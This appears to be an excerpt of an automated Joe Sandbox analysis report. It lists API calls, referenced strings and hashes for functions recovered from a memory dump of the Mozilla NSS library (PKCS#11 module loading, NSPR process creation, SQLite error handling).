strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB97372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CCD0148,,defaultModDB,internalKeySlot), ref: 6CB974CC
free.MOZGLUE(00000000), ref: 6CB97513
free.MOZGLUE(00000000), ref: 6CB9751B
free.MOZGLUE(00000000), ref: 6CB97528
free.MOZGLUE(00000000), ref: 6CB9753C
free.MOZGLUE(00000000), ref: 6CB97550
free.MOZGLUE(00000000), ref: 6CB97561
free.MOZGLUE(00000000), ref: 6CB97572
free.MOZGLUE(00000000), ref: 6CB97583
free.MOZGLUE(00000000), ref: 6CB97594
free.MOZGLUE(00000000), ref: 6CB975A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CB975BD
free.MOZGLUE(00000000), ref: 6CB975C8
free.MOZGLUE(00000000), ref: 6CB975F1
PR_NewLock.NSS3 ref: 6CB97636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CB97686
PR_NewLock.NSS3 ref: 6CB976A2

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CB976B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CB97707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CB9771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CB97731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CB9774A
DeleteCriticalSection.KERNEL32(?), ref: 6CB97770
free.MOZGLUE(?), ref: 6CB97779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB9779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB977AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CB977C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB977DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CB97821
PORT_Alloc_Util.NSS3(?), ref: 6CB97837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB9785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB9786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CB978AC
free.MOZGLUE(00000000), ref: 6CB978BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CB978F3
free.MOZGLUE(00000000), ref: 6CB978FC
free.MOZGLUE(00000000), ref: 6CB9791C

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

Strings

NSS Internal Module, xrefs: 6CB974A2, 6CB974C6
Spac, xrefs: 6CB97389
,defaultModDB,internalKeySlot, xrefs: 6CB9748D, 6CB974AA
dll, xrefs: 6CB9788E
extern:, xrefs: 6CB9772B
dbm:, xrefs: 6CB97716
rdb:, xrefs: 6CB97744
kbi., xrefs: 6CB97886
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CB974C7
sql:, xrefs: 6CB976FE

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 0111c7e75c0f62cc79cc8dc44cd0d2732390e7583f9dabbe3002e215d609c4b8
Instruction ID: f66a35231ce277561540f7412511f98fd52f6335cf509c82727949115a8905b6
Opcode Fuzzy Hash: 0111c7e75c0f62cc79cc8dc44cd0d2732390e7583f9dabbe3002e215d609c4b8
Instruction Fuzzy Hash: 5052D2B1E012959BEF119F64D8057AE7BF4FF1B308F144038ED09A6641EBB1E954CB92

Function 6CBBBFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CBBC0C8

Part of subcall function 6CC49440: LeaveCriticalSection.KERNEL32 ref: 6CC495CD
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC49622
Part of subcall function 6CC49440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CC4964E

PR_EnterMonitor.NSS3 ref: 6CBBC0AE

Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC491AA
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49212
Part of subcall function 6CC49090: _PR_MD_WAIT_CV.NSS3 ref: 6CC4926B

Part of subcall function 6CB70600: GetLastError.KERNEL32(?,?,?,?,?,6CB705E2), ref: 6CB70642
Part of subcall function 6CB70600: TlsGetValue.KERNEL32(?,?,?,?,?,6CB705E2), ref: 6CB7065D
Part of subcall function 6CB70600: GetLastError.KERNEL32 ref: 6CB70678
Part of subcall function 6CB70600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CB7068A
Part of subcall function 6CB70600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB70693
Part of subcall function 6CB70600: PR_SetErrorText.NSS3(00000000,?), ref: 6CB7069D
Part of subcall function 6CB70600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AF18F6A2,?,?,?,?,?,6CB705E2), ref: 6CB706CA
Part of subcall function 6CB70600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CB705E2), ref: 6CB706E6

PR_EnterMonitor.NSS3 ref: 6CBBC0F2
PR_ExitMonitor.NSS3 ref: 6CBBC10E
PR_ExitMonitor.NSS3 ref: 6CBBC081

Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC4945B
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC49479
Part of subcall function 6CC49440: EnterCriticalSection.KERNEL32 ref: 6CC49495
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC494E4
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC49532
Part of subcall function 6CC49440: LeaveCriticalSection.KERNEL32 ref: 6CC4955D

PR_EnterMonitor.NSS3 ref: 6CBBC068

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

Part of subcall function 6CB70600: GetProcAddress.KERNEL32(?,?), ref: 6CB70623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CBBC14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CBBC183
free.MOZGLUE(00000000), ref: 6CBBC18E
PR_LoadLibrary.NSS3(?), ref: 6CBBC1A3
PR_EnterMonitor.NSS3 ref: 6CBBC1D4
PR_ExitMonitor.NSS3 ref: 6CBBC1F3
PR_CallOnce.NSS3(6CCE2318,6CBBCA70), ref: 6CBBC210
PR_EnterMonitor.NSS3 ref: 6CBBC22B
PR_ExitMonitor.NSS3 ref: 6CBBC247
PR_EnterMonitor.NSS3 ref: 6CBBC26A
PR_ExitMonitor.NSS3 ref: 6CBBC287
PR_UnloadLibrary.NSS3(?), ref: 6CBBC2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CBBC392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CBBC3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CBBC3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CBBC782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CBBC7B5
PR_UnloadLibrary.NSS3(?), ref: 6CBBC7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CBBC82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBBC8BF
PORT_Alloc_Util.NSS3(?), ref: 6CBBC8D5
free.MOZGLUE(00000000), ref: 6CBBC900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBBC9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBBC9E5
free.MOZGLUE(00000000), ref: 6CBBCA5A

Strings

FC_GetInterface, xrefs: 6CBBC054
PKCS 11, xrefs: 6CBBC2F9, 6CBBC314
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CBBC38D
NSS_ReturnModuleSpecData, xrefs: 6CBBC275
nss_mod_log, xrefs: 6CBBC3CC
NSC_GetInterface, xrefs: 6CBBC04F
NSS_DISABLE_UNLOAD, xrefs: 6CBBC7B0
NSC_GetFunctionList, xrefs: 6CBBC093
Vendor NSS FIPS Interface, xrefs: 6CBBC34A
FC_GetFunctionList, xrefs: 6CBBC098
NSC_ModuleDBFunc, xrefs: 6CBBC0FC
NSS_FORCE_TOKEN_LOCK, xrefs: 6CBBC77D

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: f1468e1af5bdeb060fb2cb7b8c0d1fbb9a1d5fbbe20d4c1053ed42d4d5e311b2
Instruction ID: 091a6f2ad15c91cc2bf1532e49aa38f4e958bfc0d040a0204bd68378698871ba
Opcode Fuzzy Hash: f1468e1af5bdeb060fb2cb7b8c0d1fbb9a1d5fbbe20d4c1053ed42d4d5e311b2
Instruction Fuzzy Hash: 014290B2A002869FDF44DF54C896B7A3BB5FB4A358F144029D805ABB21EF31D954CF92

Function 6CC93FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CC93FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC93FFE
malloc.MOZGLUE(-00000003), ref: 6CC94016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CCCFC62), ref: 6CC9404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CC9407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CC940A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CC940D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC94112
malloc.MOZGLUE(00000000), ref: 6CC9411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CC9414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC94160
free.MOZGLUE(?), ref: 6CC9416C
malloc.MOZGLUE(?), ref: 6CC941AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CC941EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CC94520), ref: 6CC94244
GetEnvironmentStrings.KERNEL32 ref: 6CC9424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC94263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC94283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC942B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC942E4
malloc.MOZGLUE(00000002), ref: 6CC942FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CC94342
GetStdHandle.KERNEL32(000000F6), ref: 6CC943AB
GetStdHandle.KERNEL32(000000F5), ref: 6CC943B2
GetStdHandle.KERNEL32(000000F4), ref: 6CC943B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CC94403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC94410

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CC9445E
CloseHandle.KERNEL32(?), ref: 6CC9446B
free.MOZGLUE(?), ref: 6CC94482
free.MOZGLUE(00000000), ref: 6CC94492
free.MOZGLUE(00000000), ref: 6CC944A4
GetLastError.KERNEL32 ref: 6CC944B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CC944BE
free.MOZGLUE(?), ref: 6CC944C7
free.MOZGLUE(00000000), ref: 6CC944D5
free.MOZGLUE(00000000), ref: 6CC944EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6CC941E9
=, xrefs: 6CC944F8
D, xrefs: 6CC94396

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 94a6296c871256320109e5e16bb9b49c7e224e00db4b23e32cd61de59aec6c95
Instruction ID: a220a63dc52d930fc023dd38ed9b1257d20a73964b91859d4a660a6f1345795a
Opcode Fuzzy Hash: 94a6296c871256320109e5e16bb9b49c7e224e00db4b23e32cd61de59aec6c95
Instruction Fuzzy Hash: 1002D371E043519BEB10DF69C8807AEBBB4BF16308F244169DC6AA7B41F771E845CB92

Function 6CBA6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CCAA8EC,0000006C), ref: 6CBA6DC6
memcpy.VCRUNTIME140(?,6CCAA958,0000006C), ref: 6CBA6DDB
memcpy.VCRUNTIME140(?,6CCAA9C4,00000078), ref: 6CBA6DF1
memcpy.VCRUNTIME140(?,6CCAAA3C,0000006C), ref: 6CBA6E06
memcpy.VCRUNTIME140(?,6CCAAAA8,00000060), ref: 6CBA6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBA6E38

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CBA6E76
TlsGetValue.KERNEL32 ref: 6CBA726F
EnterCriticalSection.KERNEL32(?), ref: 6CBA7283

Strings

!, xrefs: 6CBA7123

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 11c509cdb239fad3cfdec4e5461c432c25bc75322faf16e1524ba187731a0b11
Instruction ID: 8aef10b892d93b587c5a28e7605a9e6e7e61b7e56a963b88f940da1a253649d0
Opcode Fuzzy Hash: 11c509cdb239fad3cfdec4e5461c432c25bc75322faf16e1524ba187731a0b11
Instruction Fuzzy Hash: F7729EB5D092589FDF60CF68CC8879ABBB5EF49304F1441A9D84CA7301EB71AA85CF91

Function 6CB13C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB13C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CB13D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB13EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB13ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB13F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB14052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB1406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CB1410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB1449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB14452, 6CB14486, 6CB144EA, 6CB14571, 6CB14580, 6CB1458F, 6CB1475A, 6CB147FA
%s at line %d of [%.10s], xrefs: 6CB14495, 6CB144F9, 6CB1459E, 6CB14769, 6CB14809
database corruption, xrefs: 6CB14490, 6CB144F4, 6CB14599, 6CB14764, 6CB14804

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 386c3b0ff40faf128e024f407501aa614666f7c069a2f208ee837a61f7eaa456
Instruction ID: 4a3e51b2e9d185093b2351dfd032a70fad3add19ce927d2365dc4f95b8644862
Opcode Fuzzy Hash: 386c3b0ff40faf128e024f407501aa614666f7c069a2f208ee837a61f7eaa456
Instruction Fuzzy Hash: 4C827C75A082958FCB04CF69C490B9EB7B2FF49318F2581A9D905ABB51E731EC42CF91

Function 6CBEAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBEACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CBEACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CBEACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CBEAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CBEADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBEADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBEADF0

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBEB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBEB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBEB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBEB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CBEB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBEB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBEB40C

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 1b45d1d39a59c55a099cef26c3b3fa119861485eb5c0080693ae6344f6bfb3f8
Instruction ID: e26856e9f2e7695aed9dfde23f9ef8cd5576be82204fb96c360411ef93e3f1ce
Opcode Fuzzy Hash: 1b45d1d39a59c55a099cef26c3b3fa119861485eb5c0080693ae6344f6bfb3f8
Instruction Fuzzy Hash: 7C22B071904381AFE700CF14CC40B9A77E5EF88B4CF24856CE8595B792E772E859CB96

Function 6CB31F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB325F3

Strings

no tables specified, xrefs: 6CB326BE
unsafe use of virtual table "%s", xrefs: 6CB330D1
%s.%s, xrefs: 6CB32D68
%s.%s.%s, xrefs: 6CB3302D
H, xrefs: 6CB3322D
cannot have both ON and USING clauses in the same join, xrefs: 6CB332B5
a NATURAL join may not have an ON or USING clause, xrefs: 6CB332C1
'%s' is not a function, xrefs: 6CB32FD2
no such table: %s, xrefs: 6CB326AC
multiple recursive references: %s, xrefs: 6CB322E0
access to view "%s" prohibited, xrefs: 6CB32F4A
H, xrefs: 6CB3329F
no such index: "%s", xrefs: 6CB3319D
cannot join using column %s - column not present in both tables, xrefs: 6CB332AB
recursive reference in a subquery: %s, xrefs: 6CB322E5
table %s has %d values for %d columns, xrefs: 6CB3316C
too many references to "%s": max 65535, xrefs: 6CB32FB6
too many columns in result set, xrefs: 6CB33012

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: cfba476a608eac053634ffbdef6b74ccec7325031d2cf21769347960a8436a70
Instruction ID: 5b9eeb05470ca169c01a0a7b0ac7303bcd97dc50bf43fa3972ef6e4a93b66b40
Opcode Fuzzy Hash: cfba476a608eac053634ffbdef6b74ccec7325031d2cf21769347960a8436a70
Instruction Fuzzy Hash: 86D2C274E042A5CFDB04CF99C884B9EB7B1FF49308F249169D819AB752D731E846CB92

Function 6CB6ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB6ED38

Part of subcall function 6CB04F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB04FC4

